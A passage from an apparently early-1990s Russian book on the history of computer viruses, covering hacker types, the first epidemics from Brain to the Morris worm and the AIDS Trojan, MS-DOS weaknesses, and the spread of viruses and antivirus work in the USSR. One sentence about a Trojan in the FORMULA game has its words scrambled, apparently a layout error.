пользователей, стараясь внести какой-то вклад в системное программирование, атмосфера второго этапа носит характер противостояния пользователей группе безответственных или уголовных элементов. 1.2.1. Хакеры "Можно противостоять всему, за исключением искушения" О.Уайлд Массовое распространение клонов IBM PC привело к резкому увеличению количества людей, активно занимающихся программированием на компьютере, а следовательно, и прослойки компьютерных "фанатов". Если раньше этот тип людей встречался в основном в университетских городках и больших вычислительных центрах, то с распространением клонов IBM PC ситуация существенно изменилась. Обладателями мощных и в то же время дешевых компьютеров стали школьники, пенсионеры, а также другие лица, располагавшие, помимо желания попробовать свои силы в программировании, еще и значительным количеством свободного времени. Как и в других областях человеческой деятельности, спектр отношения людей к программированию и вычислительным машинам очень широк: от ненависти, через полное безразличие до патологической привязанности или зависимости, которую можно квалифицировать как манию. Всякий работавший в вычислительном центре на больших ЭВМ и видевший, как к концу второй смены некоторые программисты наспех вносят плохо продуманные изменения в свои программы и умоляют электронщиков дать еще минутку, чтобы посмотреть, что получится, узнает сцену, описанную Ф.М.Достоевским в романе "Игрок": "В одиннадцатом часу у игорных столов остаются настоящие, отчаянные игроки, для которых на водах существует только одна рулетка, которые и приехали для нее одной, которые плохо замечают, что вокруг них происходит, и ничем не интересуются весь сезон, а только играют с утра до ночи и готовы были бы играть, пожалуй, и всю ночь до рассвета, если б можно было. И всегда они с досадой расходятся, когда в двенадцать часов закрывают рулетку. И когда старший крупер перед закрытием рулетки около двенадцати часов, возглашает: "Les trois derniers coups, messieurs !" (Три последних игры (букв.: удара), господа -- прим. перев.), то они готовы иногда проставить на этих трех последних ударах все, что у них есть в кармане, -- и действительно тут-то наиболее и проигрываются" [Полн. собр. соч. в 30-ти томах. -- Л.: Наука, т.5, 1973, c.292]. Психологи отмечают, что у страстных игроков имеются определенные психологические черты, роднящие их с одержимыми программистами. Для страстного игрока игра -- это все ("весь мир -- игра"). Даже выигрыш менее важен, чем сама игра. В свою очередь, для программиста-фаната работа за дисплеем -- это и есть настоящая жизнь, а все остальное -- скучная "обязаловка". Одержимый программист с трудом переносит разлуку с машиной. Постоянная работа с машиной накладывает определенный отпечаток на язык и мышление таких людей. Наблюдается перенос некоторых программистских терминов типа "зациклился", "завис", "вычислить" (например фраза "я тебя вычислил" используется со значением "я понял, разгадал что-то") в повседневную жизнь. Создается впечатление, что другие люди воспринимаются ими как программы, а окружающая среда -- как некая "супероперационка", для вселенского "гиперкомпьютера". Вместо сочетания "одержимый программист" как в разговорной речи, так и в литературе часто используется термин "хакер" (от англ. Hack -- рубить, кромсать) и уже создан определенный образ хакера. Это очень способный молодой человек, работающий за дисплеем по 12 -- 16 ч. подряд, до полного изнеможения, а если представляется возможность, то и ночи напролет. Питается урывками. Внешний вид свидетельствует о том, что он не обращает внимания на внешний мир и не слишком интересуется мнением окружающих: джинсы, мятая рубашка, нечесанные волосы. Блестяще знает все подробности операционной системы, языка ассемблера и особенности периферийного оборудования. Основная продукция -- маленькие недокументированные системные программы, ради которых, а также ценя в нем консультанта по "дебрям" операционной системы и внешних устройств, ему и разрешают работать на машине, когда он хочет и сколько он хочет. Обычный метод их создания -- "кромсание" чужих программ, что и объясняет смысл термина хакер. В "просвещенном" варианте -- это дизассемблирование подходящей программы, модификация ассемблерного текста c удалением следов принадлежности программы другому автору, даже если доработка в сущности была совсем пустяковая, вставка собственной клички (обычно достаточно экзотической, например SuperHunter), а затем ассемблирование. Документация, естественно, не нужна, поскольку сам хакер знает, что послужило прототипом, да и вообще руководствуется принципом "умный догадается, а дураку не нужно". В "диком" варианте кромсается непосредственно загрузочный модуль в отладчи- ке. Здесь отсутствует не только документация, но и исходный текст "изделия". Ну и конечно, у каждого хакера есть сверхзадача, своего рода голубая мечта (удачные небольшие системные программки, благодаря которым он пользуется уважением, им самим рассматриваются как поделки): новая операционная система, алгоритмический язык, программа, выигрывающая у человека в какую-нибудь сложную, интеллектуальную игру, или инструментальная система "супер" -- облегчающая все, все, все (самая любимая задача). Конечно, статус хакера не является пожизненным. Это своего рода "детская болезнь", и из среды "нормальных" хакеров вышел ряд известных разработчиков системного программного обеспечения. Для части хакеров, обычно называемых кракерами, в качестве сверхзадачи выступает проникновение в какую-нибудь систему, снятие защиты программного продукта от копирования или что-то аналогичное. Именно эта часть хакеров становится причиной "головной боли" разработчиков коммерческого программного обеспечения, снабженного средствами защиты от незаконного копирования, а также пользователей баз данных с конфиденциальной информацией. Другая часть кракеров, иногда называемых "информационными путешественниками", специализируется на проникновении в удаленные компьютеры, подключенные к некоторой сети. Так, студенты одного из университетов США составили и сумели ввести в ЭВМ программу, имитирующую работу с удаленными пользователями. К моменту разоблачения пользователи сумели получить более 100 таких паролей. Деятельность этой разновидности кракеров в большинстве западных стран рассматривается или граничит с уголовной. Неслучайно ряд кракеров на Западе были осуждены на сроки от 6 месяцев до 10 лет тюремного заключения. И наконец, самая худшая порода хакеров -- это создатели троянских программ и компьютерных вирусов. Впрочем, их уже нельзя назвать хакерами, поскольку "неформальный кодекс" хакера запрещает использование своих знаний операционной систем и оборудования во вред пользователям. Это своего рода "паршивые овцы", которые бросают тень на хакеров в целом. Обычно их называют техно-крысами. Поскольку жертвами вирусов обычно становятся не специалисты, а те, кто использует компьютер как инструмент своей профессиональной деятельности или как хобби, психология разработчиков вирусов сродни психологии негодяев, отбирающих деньги у школьников младших классов, которые мать дала им на обед. 1.2.2. Первые случаи массового заражения "До чего же нам иногда тесно в разумных пределах" Евгений Сагаловский Как уже отмечалось, в 1987 г. в разных местах, независимо друг от друга были зарегистрированы три случая массового заражения клонов IBM PC компьютерными вирусами. Первым Вирусом-87 был так называемый Пакистанский вирус, разработанный братьями Амджатом и Базитом Алви (Amdjat и Basit Faroog Alvi) в 1986 г. Он был обнаружен летом 1987 г. По непроверенным (и, вероятно, завышенным) данным, приведенным Маккафи (McAfee) [McAfee89b], он заразил только в США более 18 тысяч компьютеров. Этот бутовый вирус создан в основном Амджадом -- 26-летним выпускником отделения физики Пенджабского университета, который, по его заявлению, пытался наказать американцев, покупавших дешевые незаконные копии программ в Пакистане. Амджат утверждает, что по пакистанским законам свободное копирование не является преступлением, и хотя он не одобряет такое положение вещей, вынужден с ним мириться и не может наказывать других. Поэтому он не продавал зараженные вирусом незаконные копии пакистанским покупателям. Другое дело -- американцы, у которых существуют законы, запрещающие пиратство. Их, по его мнению, стоило проучить. К середине 1987 г. братья признали, что уже достаточно проучили пиратов и прекратили распространение вируса. Однако вирус уже сумел распространиться по США, а оттуда попал в другие страны, в том числе и в СССР. Кроме того, начали появляться штаммы с измененными текстовыми сообщениями и свойствами. Вторым Вирусом-87 стал Лехайский вирус, появившийся в ноябре 1987 г. в одноименном университете США. В течение нескольких дней этот вирус уничтожил содержимое нескольких сот дискет из библиотеки вычислительного центра университета и личных дискет студентов [Wyk89]. По данным Маккафи, опубликованным в журнале Datamation [McAfee89b], по состоянию на февраль 1989 г. только в США этим вирусом было заражено порядка четырех тысяч компьютеров. Следует отметить, что учитывая склонность Маккафи искажать данные в выгодную для него сторону к приводимым им цифрам нужно относиться критически, уменьшая их примерно в пять раз. Перед самым Новым годом, 30 декабря 1987 г., был обнаружен вирус в Иерусалимском Университете (Израиль). Хотя существенного вреда этот вирус не принес, он быстро распространился по всему миру (по данным Маккафи, более 3 тысяч зараженных компьютеров только в США) и, по-видимому, является первым вирусом, распространение которого приобрело характер пандемии [Radai89]. В том же 1987 г. в издательстве Data-Becker вышла монография Р.Бургера "Компьютерные вирусы". Она выдержала несколько переизданий, переведена на английский язык, а в 1989 г. -- на русский язык [Burger88]. Автор неосторожно включил в книгу ряд исходных текстов демонстрационных программ вирусов на разных языках и листинг так называемого венского вируса. Такой, чрезмерно расширенный, несмотря на изменившуюся ситуацию, уровень "гласности" дает основания рассматривать роль данной книги как весьма противоречивую. Свой вклад в распространение вирусов внесли и некоторые журналы. Так, журнал "C't" в том же году опубликовал код вируса "уголек" для ПЭВМ Atary ST и фаг к этому вирусу [Krabel87]. Вскоре этот вирус проник в компьютеры издательства Data-Becker, а затем и на дистрибутивные дискеты, распространяемые этой фирмой. К счастью, он был быстро обнаружен и уничтожен. В 1988 г. проблема защиты программного обеспечения от заражения компьютерными вирусами в странах США и Западной Европы приобрела характер приоритетной. Это прежде всего связано с тем, что в условиях значительной зависимости различных учреждений от компьютерных систем, проникновение вирусов представляет потенциальную опасность и может привести к серьезным последствиям. Например, летом 1988 г. компьютерный вирус инфицировал три компьютера в Мичиганском госпитале, которые обрабатывали информацию о пациентах. Он был обнаружен в процессе анализа причин неправильного функционирования системы, заключавшейся в том, что на дисплей неверно вызывались расширенные диагностические сведения. По данным администрации госпиталя вирус перемешал фамилии пациентов в базе данных ПЭВМ Macintosh II. Как показало расследование, вирус был занесен при ремонте винчестера одного из компьютеров. К счастью, никому из пациентов не был поставлен неправильный диагноз или назначено неправильное лечение в результате перемешивания фамилий пациентов в базе данных. Однако, по мнению специалистов, это был вопрос времени и вполне мог стоить кому-то жизни. Данный случай является вторым случаем вторжения в медицинские компьютеры (первый был связан с проникновением кракеров, которые просматривали базу данных, но не нанесли никакого ущерба) и первым случаем, когда настоящие данные пациентов и диагностирования манипулировались вирусом [Zajac89c]. Из компьютерных Вирусов-88 отметим вирус падающих букв и "итальянский попрыгунчик", распространение которых также приняло характер эпидемии. Особое внимание общественности привлек так называемый вирус Морриса: 2.11.88 г. Роберт Моррис-младший, аспирант факультета информатики Корнельского Университета инфицировал с по- мощью написанного им вируса большое количество компьютеров (по ориентировочным оценкам порядка 6000), подключенных к американской национальной сети Internet (не путать c распространенной локальной сетью Ethernet) [Highland89b]. Хотя никакой потери или изменения данных не произошло, многие тысячи часов рабочего времени были потеряны пользователями Internet. Это событие вызвало значительную реакцию американской и мировой, прессы, включая советскую. Так ведущие американские газеты, включая "Чикаго Трибьюн", "Нью-Йорк Таймс" и "Бостон Геральд", опубликовали репортажи с места события. Ими широко освещалась динамика распространения вируса и разработка методов борьбы с ним, а также затрагивались общие проблемы обеспечения безопасности компьютерных систем. Позднее в аналитических статьях по этому поводу обсуждались нерешенные проблемы, относящиеся к вопросам безопасности компьютерных систем, и предлагались законодательные инициативы, направленные на предотвращение подобных случаев в дальнейшем. В частности, не без влияния этой серии публикаций в палате представителей были внесены два проекта законов, предусматривающих уголовное наказание за создание и распространение компьютерных вирусов. Помимо информации типа "как это было" и "то ли еще будет", в американской прессе широко обсуждался вопрос о том, как квалифицировать поступок Морриса: является ли Моррис героем-хакером, который без нанесения серьезного ущерба указал на слабые места в национальной компьютерной сети, или он является преступником, который должен быть сурово наказан. При этом характер обсуждения и поляризация мнений в некоторой степени напоминали дискуссии по поводу известного всем нам случая с посадкой Руста на Красную площадь. Вскоре Моррис был отчислен из Корнельского университета. Министерство юстиции США довольно долго изучало вопрос о возможности привлечения Морриса к суду на основе действующего законодательства, и только 18 января 1990 г. в городе Сиракьюс (штат НьюЙорк) начался судебный процесс по делу Морриса. Нанесенный ущерб был оценен в 150 тыс. долларов. Процесс над Моррисом стал возможен в результате принятия в 1986 г. федерального закона об ответственности за преступления, связанные с компьютерами (1986 U.S. Computer Fraud and Abuse Act). Моррису грозил штраф в 250 тыс. долларов и тюремное заключение сроком до 5 лет. Адвокат Морриса утверждал, что тот якобы создал вирус для проведения эксперимента по проверке защиты компьютера. При этом он допустил ошибку, которая и привела к нежелательным результатам. Моррис, по словам адвоката, не стремился нанести какой-либо ущерб компьютерным системам США. Интересно отметить, что в интервью репортеру одной из американских газет мать Морриса упомянула тот факт, что роман "The Shockware Rider" Джона Бруннера был одной из наиболее зачитанных книг в комнате юного Морриса. 4 мая 1990 г. суд присяжных признал Морриса виновным. Он был приговорен к условному заключению сроком на два года, 400 часам "общественных работ" (американский аналог отечественных 15 суток) и штрафу размером 10 тыс. долларов. Осуждение Р.Морриса-младшего показывает что американское общество уже осознает опасность и предпринимает меры по борьбе с ней. В 1989 г. панику в США и западноевропейских странах вызвали вирусы DATACRIME, которые запрограммированы так, что начиная с 12 октября они разрушают файловую систему, а до этой даты просто размножаются. Эта серия компьютерных вирусов, состоящая, как полагают, из трех программ ("Датакрайм 1, 2, 3") начала распространяться в Нидерландах, США и Японии приблизительно в начале 1989 г. и к сентябрю поразила, по некоторым оценкам (которым, впрочем, не стоит особенно доверять), около 100 тысяч ПЭВМ только в Нидерландах (что составляет около 10% от их общего количества в стране). Даже фирма IBM отреагировала на эту угрозу, выпустив свой детектор VIRSCAN, позволяющий искать характерные для того или иного вируса строки (сигнатуры) в файловой системе. Набор сигнатур может дополняться и изменяться пользователем. В нашей стране в 1989 и 1990 гг. случаев заражения данным вирусом не отмечалось; потенциальную опасность представляет 12.10.91 г. В начале августа 1989 г. в Амстердаме состоялся международный съезд хакеров, в ходе которого были продемонстрированы "дыры" в существующих системах обеспечения безопасности и контроля от несанкционированного доступа. В качестве доказательства своих способностей представители одной из групп кракеров, подключившись к ЭВМ местного банка, получили 270 тысяч франков. Вернув на следующий день эту сумму наличными, кракеры продемонстрировали уязвимость системы защиты банковских компьютеров. Еще одной нашумевшей историей была так называемая AIDS Information Trojan -- троянская программа, распространявшаяся в декабре 1989 г. в составе пакета с базой данных о заболевании синдромом приобретенного иммунодефицита (СПИД). Как программа, так и база данных были записаны на дискете, которая была разослана 20 тысячам заказчиков, включая ряд медицинских и общественных организаций США, Франции, Великобритании, ФРГ, Дании, Норвегии, Швеции и многих других стран. Затраты на рассылку составили порядка 200 тыс. долларов. Все адресаты получили по почте посылку с упаковкой данного продукта, на которой указывалось его назначение, а на обратной стороне крайне мелким шрифтом были набраны условия распространения. Сопроводительное письмо извещало, что на дискете содержатся новые сведения по проблемам СПИДа, но в письме условия использования дискет не указывались. После записи на винчестер, они действительно начали выдавать информацию по обещанной тематике. Однако затем вся информация на винчестере была перекодирована и на экранах появилось требование перечислить сумму в 378 долларов на счет незарегистрированной фирмы в Панаме. В этом случае пользователю якобы будет выслана программа восстановления перекодированной информации. Среди пострадавших были как индивидуальные владельцы компьютеров, так и лаборатории, научные центры, больницы. В некоторых случаях заблокированным оказался итог работы целых научных коллективов. Джозеф Попп, предполагаемый распространитель этой троянской программы, был арестован в феврале 1990 г. в американском штате Огайо. Если эксперты подтвердят его психическую полноценность, ему не миновать тюремного заключения за проведение этой операции по "вирусному рэкету". 1.2.3. Вирусы и MS DOS Интересно отметить, что еще в версии 3.0 операционной системы CP/M можно было защитить файлы и диски от записи или чтения с помощью паролей. Поэтому вызывает сожаление выжидательная позиция фирмы Микрософт, которая могла бы при выпуске очередной версии MS DOS легко закрыть хотя бы самые "зияющие" дыры в MS DOS (отсутствие проверки контрольной суммы файла перед передачей ему управления, возможность сброса атрибута READ ONLY без подтверждения пользователя, люки -- различные "нелегальные" способы получения адреса прерывания 13 и др.). Возможно, здесь нельзя исключить и определенный политический расчет на то, что сложившаяся ситуация будет способствовать уменьшению количества случаев незаконного копирования коммерческого программного обеспечения, которое существенно уменьшает доходы фирмы, а также переходу пользователей к более совершенной и снабженной средствами регламентации доступа к файлам операционной системе OS/2. Последняя из-за повышенных требований к оборудованию (рекомендуется наличие четырех или более мегабайт оперативной памяти) пока не пользуется ощутимым успехом. Следует отметить, что мнение о "полезности" вирусов для разработчиков системного программного обеспечения было высказано официально Эндрю Золтовским -- директором фирмы NOVELL UK Ltd, который в интервью корреспонденту советско-польского журнала Компьютер заявил: "Сейчас стало ясно, что великолепным средством борьбы с нелегальными копиями сталиЄ компьютерные вирусы, распространяемые чаще всего с бесплатным (читай "ворованным") программным обеспечением" [Компью- тер, 1990, ∙ 2, c.5]. Такая позиция не только не этична, но и по существу опасна для самой фирмы, "исповедующей" такую философию. Ведь помимо разработчиков коммерческого программного обеспечения существуют разработчики бесплатно распространяемого (FREEWARE) и субсидируемого пользователями (SHAREWARE) программного обеспечения, которые страдают из-за падения интереса к их продуктам в связи с угрозой заражения. Да и для разработчиков коммерческого программного обеспечения опасно рассматривать вирусы как средство увеличения доходов от продажи своего программного обеспечения: отсюда только шаг к борьбе с конкурентами с помощью вирусов, ориентированных на конкретный программный продукт, скажем, версию 2.15 сетевой операционной системы Advanced Netware. Ведь наверняка есть люди, считающие, что положение фирмы NOWELL на рынке не соответствует действительному качеству ее продуктов и препятствует более прогрессивным решениям "занять свое место под солнцем". Так или иначе, но операционная система MS DOS показала себя не только "user friendly", но и "virus friendly". И такое положение, по-видимому, фирму устраивает: в версии 4.0 не предпринято никаких специальных мер в указанном направлении. Впрочем, многие пользователи считают, что эту версию имеет смысл использовать лишь в сочетании с системой MS Windows 3.0, и не спешат переходить на нее с версии 3.3. 1.2.4. Появление более вирусоустойчивых альтернатив MS DOS Следует отметить, что в настоящее время появилось несколько альтернативных, "полностью совместимых" с MS DOS операционных систем, обеспечивающих ряд дополнительных возможностей защиты информации от несанкционированного доступа, включая заражение программ вирусами или различного рода попытки искажения или уничтожения файлов. Из них следует отметить DR DOS фирмы Digital Research, которая будучи "более совместимой с MS DOS, чем сама MS DOS" (т.е. существенно реже зависающей, что особенно важно при работе на отечественных ПЭВМ типа ИСКРА 1030), обеспечивает лучшие утилиты и возможность защиты файлов и каталогов. Другой интересной альтернативной разработкой является Hi DOS. Любая из этих систем более "вирусоустойчива", чем MS DOS, и, кроме того, перекрывает некоторые недокументированные люки, через которые можно "незаконно" получить адреса важнейших прерываний и другую жизненно важную для вирусов информацию. При этом, чем изощреннее и опаснее написан вирус, тем меньше шансов у него остаться работоспособным на альтернативной операционной системе. Ведь для того, чтобы сохранить приемлемые размеры, вирусу необходимо быть жестко ориентированным на особенности своей среды, а общий закон приспособления гласит, что чем больше тот или иной вид приспособлен к обитанию в той или иной среде, тем меньше он способен перенести ее изменение. 1.2.5. OS/2 и компьютерные вирусы Конечно, вирусы, рассчитанные на MS DOS, будут неработоспособны для OS/2. В этом смысле новая операционная система предпочтительнее. Однако представляется весьма вероятным быстрое появление новых штаммов, адаптированных к OS/2. Сдерживающим фактором, несомненно, послужит наличие средств регламентации доступа к файлам, однако неясно, насколько трудно эту защиту обойти. В то же время более сложная и более мощная операционная система не обязательно является и более вирусобезопасной. Простота MS DOS приводит к тому, что все ее закоулки изучены, и разработчику вируса придется проявить незаурядную изобретательность, чтобы придумать что-то новое. В OS/2 таких закоулков неизмеримо больше, подробные сведения о ее внутренней структуре отсутствуют, да и сама она занимает в памяти намного больше места. Это создает значительное "жизненное пространство" для хорошо замаскированных вирусов. В этом плане увеличение сложности следует рассматривать как недостаток. 1.2.6. Роль компьютерных сетей "Опасно не наличие компьютеров, а их нехватка" А.Азимов Распространение дешевых компьютерных модемов привело к тому, что телефонные сети стали использоваться тысячами, если не десятками тысяч как платных, так и бесплатных банков данных. Последние часто называют BBS. Одни BBS организуются группами пользователей как центры обмена сообщениями и программным обеспечением. Другие организуются частными лицами просто как хобби. Последнее время наблюдается увеличение количества BBS, финансируемых разработчиками программного и аппаратного обеспечения. Они играют важную роль консультационных центров для соответствующих групп пользователей. Чтобы организовать BBS нужен персональный компьютер, модем, хотя бы одна телефонная линия, немного специального программного обеспечения и один человек -- оператор BBS, часто называемый SYSOP (SYStem OPerator -- оператор системы). Поскольку на Западе эти требования легко удовлетворяются, BBS стали своего рода "парковыми скамейками" эпохи НТР. Конечно, качество банка данных и программ данной BBS зависит, в основном, от уровня квалификации и преданности делу его SYSOPа. Отдельные BBS обычно служат узлами сети. Крупнейшей в мире любительской сетью ПЭВМ является FidoNet, несколько узлов которой работает в СССР (в Москве и Таллинне). За рубежом ранние системы предупреждения о новых вирусах основывались на широко разветвленной сети BBS (многие университетские компьютерные центры организовали свои BBS, которые зарекомендовали себя хорошим источником информации о местных вирусах и их штаммах). Кроме бесплатных BBS на Западе распространены и коммерческие их аналоги -- большие онлайновые информационные системы, такие как CompuServe. Подключение к ним платное, зато объем и качество информации выше. Например, CompuServe предлагает мини-BBS по группам интересов (так называемые SIG -- special interest groups). Среди них есть и группа по борьбе с вирусами. В некоторых западных популярных изданиях высказывалась мысль о том, что вирусы якобы особо опасны при наличии компьютерных сетей. Эта идея была некритически подхвачена и рядом отечественных авторов, запугивающих читателей этой опасностью. Однако дело обстоит как раз наоборот: компьютерные сети создают беспрецедентную возможность обмениваться информацией, а существует древняя и мудрая поговорка "Кто предупрежден, тот вооружен". Поэтому при наличии сетей опыт борьбы конкретного пользователя с появившимся вирусом становится достоянием всех заинтересованных пользователей на следующий день, а не через месяц или год, как это часто бывает у нас. В частности, история борьбы с вирусом Морриса показала, что даже в этом случае, когда удар был фактически направлен по самой сети, функционирование последней явилось важным фактором быстрого и полного решения проблемы прекращения его распространения. Поэтому расписывание ужасов сетевых вирусов при практически полном отсутствии сетей, как раньше запугивание генетикой и ПЭВМ (в середине 80-х в Литгазете была опубликована пространная статья, в которой на полном серьезе доказывалось, что социалистическому обществу в связи с его коллективистским характером ПЭВМ не нужны), является отражением нашей отсталости и консервативности. Перефразируя приведенные в качестве эпиграфа слова А.Азимова можно сказать, что "Опасно не наличие сетей, а их отсутствие". Конечно, компьютерные сети, как любое технологическое новшество, создают и новые возможности для вандализма. Сетевые вирусы или точнее репликаторы являются примером использования этих новых возможностей. Однако суммарный эффект не отрицателен, а положителен: наличие сети неизмеримо увеличивает эффективность защиты, создавая возможность "мгновенной" передачи разработанных детекторов, фагов, вакцин. Этот канал по своей эффективности конечно не идет ни в какое сравнение с передачей дискет через железнодорожных проводников: эту эрзац-сеть, которой вынуждены пользоваться отечественные программисты. 1.2.7. Появление вирусов в СССР "Ой Вань, гляди, какие клоуны... Нет, я, ей-богу, закричу!.." В.Высоцкий Так или иначе, компьютерные вирусы стали частью окружающей программистов, да и не только программистов, действительности. Одним из свидетельств этого является тот факт, что новое издание словаря Вебстера (Webster's Ninth New College Dictionary) включает термин "вирус компьютерный". И они, конечно, не миновали нашей страны, хотя массовые закупки персональных компьютеров типа IBM/PC у нас в стране начались только в середине 1988 г. (как всегда мы опоздали почти на десять лет). К этому же моменту начался выпуск советских, правда изрядно африканизированных, клонов -- ЕС 1840, Искра 1030 и Нейрон. Хотя исследования, выполненные в СССР, начались довольно поздно и их формально нельзя отнести к предыстории (автору не известны отечественные попытки создания самовоспроизводящихся программ до 1988 г.), следует отметить, что первое отечественное исследование в данной области было выполнено до появления у нас в стране "настоящих" компьютерных вирусов. Оно было проведено в 1988 г. А.А.Чижовым, который в то время работал в ВЦ АН СССР (Москва). Основываясь непосредственно на концепции самовоспроизводящихся программ, он самостоятельно реализовал демонстрационный файловый компьютерный вирус для MS DOS и провел ряд экспериментов по его распространению (см. сокращенную стенограмму выступления А.А.Чижова на семинаре, приведенную в бюллетене СОФТПАНОРАМА 90-3). В ходе этих экспериментов автором была выявлена чрезвычайно большая скорость распространения вируса. По материалам этого исследования в 1988 г. была опубликована первая русскоязычная статья по данной проблематике [Чижов88] (журнал был подписан в печать 26.07.88, т.е. во время проведения в CCCР Международного детского компьютерного летнего лагеря -- см. ниже). Хотя в ней не приводились сведения о конкретных вирусах в MS DOS (А.А.Чижов "живыми" экземплярами вирусов в тот момент не располагал), статья содержала полезные сведения о механизме работы этого типа программ и предупреждала о серьезности данной угрозы. В то же время публикация имела и отрицательные последствия, поскольку ввела в оборот "фантомные" на тот момент типы вирусов, которые с тех пор кочуют по отечественным публикациям ("вирус в объектной библиотеке", "вирус в сетевом драйвере" и др.). Кроме того, неконкретность рекомендаций исключала принятие каких-то полезных профилактических мер, а призывы автора к соблюдению авторских прав носили в определенной мере морализаторский характер. Статья была замечена специалистами в Польше (которые, кстати, отметили потенциальную опасность статьи, как пособия по разработке новых типов вирусов) и, возможно, других странах Восточной Европы. Первый компьютерный вирус (С-648 по приводимой ниже классификации) появился в СССР приблизительно в августе 1988 г. Этот вирус, часто называемый венским вирусом (по предполагаемому месту его разработки), вызывал перезагрузку операционной системы при запуске некоторых из пораженных им программ. Одним из первых мест, где он был обнаружен, являлась лаборатория Института программных систем (Переславль-Залесский). Возможно, он попал в лабораторию во время проведения институтом (совместно с ЮНЕСКО) Международного детского компьютерного летнего лагеря. Поскольку этот вирус к середине 1988 г. был уже довольно распространен в странах Западной Европы, он несомненно завозился в СССР неоднократно, c различного рода новыми версиями программного обеспечения и компьютерными играми. В Киеве этот вирус появился в конце 1988 г. Наибольшее распространение он получил примерно в апреле 1989 г., после чего его эпидемия пошла на убыль, что прежде всего связано с достаточной распространенностью средств защиты от этого вируса. Одним из переносчиков этого вируса в Киеве был адаптированный вариант программы SideKick (шестерка). К сожалению, по стране распространяется реконструированный одним венским программистом исходный текст данного вируса, с довольно подробными комментариями. Этот текст, в частности, был включен В.Бончевым в его так называемую "вирусную" дискету, распространявшуюся вместе с разработанным им пакетом антивирусных программ. Наличие исходного текста создает благоприятные условия для появления штаммов. И, действительно, данный вирус имеет, пожалуй, наибольшее часло штаммов из нерезидентных файловых вирусов. (см., например, описания вирусов С-534 и С-623). Вторым вирусом, попавшим в СССP, был вирус RC-1701. Данный вирус вызывал довольно интересный эффект "опадания" букв на экране монитора. Этот вирус также имеет западноевропейское происхождение. В СССР впервые был выделен в Институте прикладной математики имени М.В.Келдыша АН СССР. B Киеве появился в начале 1989 г. Средства защиты появились примерно одновременно с вирусом, поэтому существенного вреда вирус не нанес. Первым средством защиты от данного вируса в Киеве была немецкоязычная (австрийская) программа SERUM3, которая могла работать как в режиме фага, так и в режиме детектора. Среди первых отечественных программ, применявшихся на начальной стадии эпидемии, следует отметить детектор В.Ладыгина (ИПМ АН СССР) VIRUS_D1. Попытки программистов организоваться для борьбы с этой новой разновидностью системных программ относятся к началу 1989 г. Так, 12 апреля 1989 г. в Киеве в рамках семинара "Системное программирование" было проведено первое специализированное заседание по антивирусной тематике. В дальнейшем выступления по этой теме стали регулярными и было проведено еще несколько специальных заседаний, посвященных защите от вирусов. Они сыграли определенную роль в сокращении случаев заражения компьютеров и ликвидации эпидемий вирусов C-648, RC-1701, и в особенности RC-1813, масштаб эпидемии которого в Киеве был наибольшим. Кстати, этот вирус хорошо прошелся по СССР, реально показав, насколько "невооруженные" пользователи уязвимы от этой новой для них опасности: сотни, если не тысячи часов были потеряны на переформатирование винчестеров и выгрузки архивных копий в надежде избежать повторного заражения. С сентября 1989 г. семинаром "Системное программирование" был организован выпуск электронного бюллетеня СОФТПАНОРАМА, который стал важным каналом распространения информации о появлении новых компьютерных вирусов и бесплатных программах для борьбы с ними. Список программ, распространявшихся через бюллетень, приведен в прил. 5. В том же месяце начала распространяться версия 1.0 данной работы. Первые случаи потери важных данных от компьютерных вирусов стали известны автору в конце 1989 г., когда к нему обратился представитель оптовой базы, у которого, как оказалось, базы данных о хранимых запасах были повреждены вирусом RCE-1800 (Dark Avenger). Периодически автору поступают сообщения о полностью уничтоженном содержимом винчестера, причем характер повреждений не позволяет достоверно установить, имеем ли мы дело с вирусом или с тщательно замаскированной троянской программой (например, подозревается одна версия COLORCAM со сломанной, но как видно, не до конца, защитой), или с выходом из строя самого винчестера. При этом, однако, бросается в глаза тот факт, что примерно у половины пользователей к моменту потери содержимого винчестера не существует его более или менее "свежей" копии. Вот уж действительно прав был Бернард Шоу, сказав: "Опыт содержит самую дорогую школу, однако многие, похоже, не способны учиться ни в какой другой". В конце 1989 г. в Донецке была обнаружена троянская программа в составе "нелегальной" копии известной игры FORMULA. Эта программа переписывала себя в загрузочный сектор мять. винчестера и через некоторое время стирала CMOS-па- 1.2.8. Отечественные антивирусные публикации "-- Вот что, товарищи, -- говорил Паламидов, поспешая вместе с братьями по перу в столовую, -давайте условимся -- пошлых вещей не писать" И.Ильф и Е.Петров. На первой отечественной публикации, посвященной компьютерным вирусам, мы уже останавливались. Практически по следам событий, сразу после появления вирусов С-648 и RС-1701, был написан целый ряд статей, однако большой срок запаздывания журнальных изданий сыграл очень негативную роль, задержав их выход в свет настолько, что к моменту получения читателями содержащаяся в них информация в значительной степени устарела. Написанные еще в конце 1988 г., все они вышли только в конце 1989 г. К этому моменту эпидемии вирусов C-648 и RC-1701 практически закончились. Среди указанных публикаций следует отметить статью И.Ш.Карасика [Карасик89а], в которой впервые подробно изложены сведения о механизме работы и эффектах, вызываемых вирусами С-648 и RС-1701. Несмотря на значительное запаздывание (третий номер журнала "Мир ПК" был подписан в печать 11.07.89 и появился в продаже в декабре 1989 г.), уровень понимания механизма работы вируса RС-1701 выделяет эту работу из остальных публикаций. В настоящее время поток публикаций по данной тематике существенно возрос и статьи стали появляться практически ежемесячно. Следует отметить, что сроки публикации в отечественных журналах и сегодня остаются крайне неудовлетворительными. Например, статья А.С.Осипенко [Осипенко90], написанная в конце 1989 г., была опубликована только в третьем номере журнала "Мир ПК" за 1990 г., причем этот номер поступил в продажу лишь в августе, т.е. опять же когда эпидемии вирусов, описываемых в статье, практически закончились. Как обычно, среди основной массы "нормальных" публикаций, встречаются и неудачные. К ним можно отнести брошюру [Основский90], содержащую пересказ различных слухов (о вирусе, вводящем в резонанс головки винчестера, вирусе типа "квадрат Малевича" длиной 3767 байт, сетевом вирусе длиной 2231 байт, самораскручивающемся в оперативной памяти вирусе размером 1201 байт и др.). Приведенные в брошюре сведения породили новые слухи, рассматриваемые в разделе о мифических вирусах. Обилием спорных утверждений и излишней категоричностью грешит статья Ф.Н.Шерстюка [Шерстюк90], в которой реализация достаточно ограниченного по своим возможностям метода защиты от вирусов, выдается за панацею. Достоинством статьи является то, что в ней впервые в отечественной литературе описана реализация нерезидентной вакцины, прикрепляющейся в конец тела программы, подобно обычному файловому вирусу. Вместе с тем, в статье допушен ряд (вполне простительных) технических ошибок, связанных с недостаточным пони- манием механизма использования 13 прерывания версиями 3.x и 4.x MS DOS, а некоторые по меньшей мере спорные утверждения выдаются за непререкаемые истины. К числу последних, в частности, относятся: "вирусы ... разрабатывают даже в кругах, близких к таким крупным фирмам-разработчикам ПК, как IBM, в целях борьбы с фирмами, производящими компьютеры-клоны"; 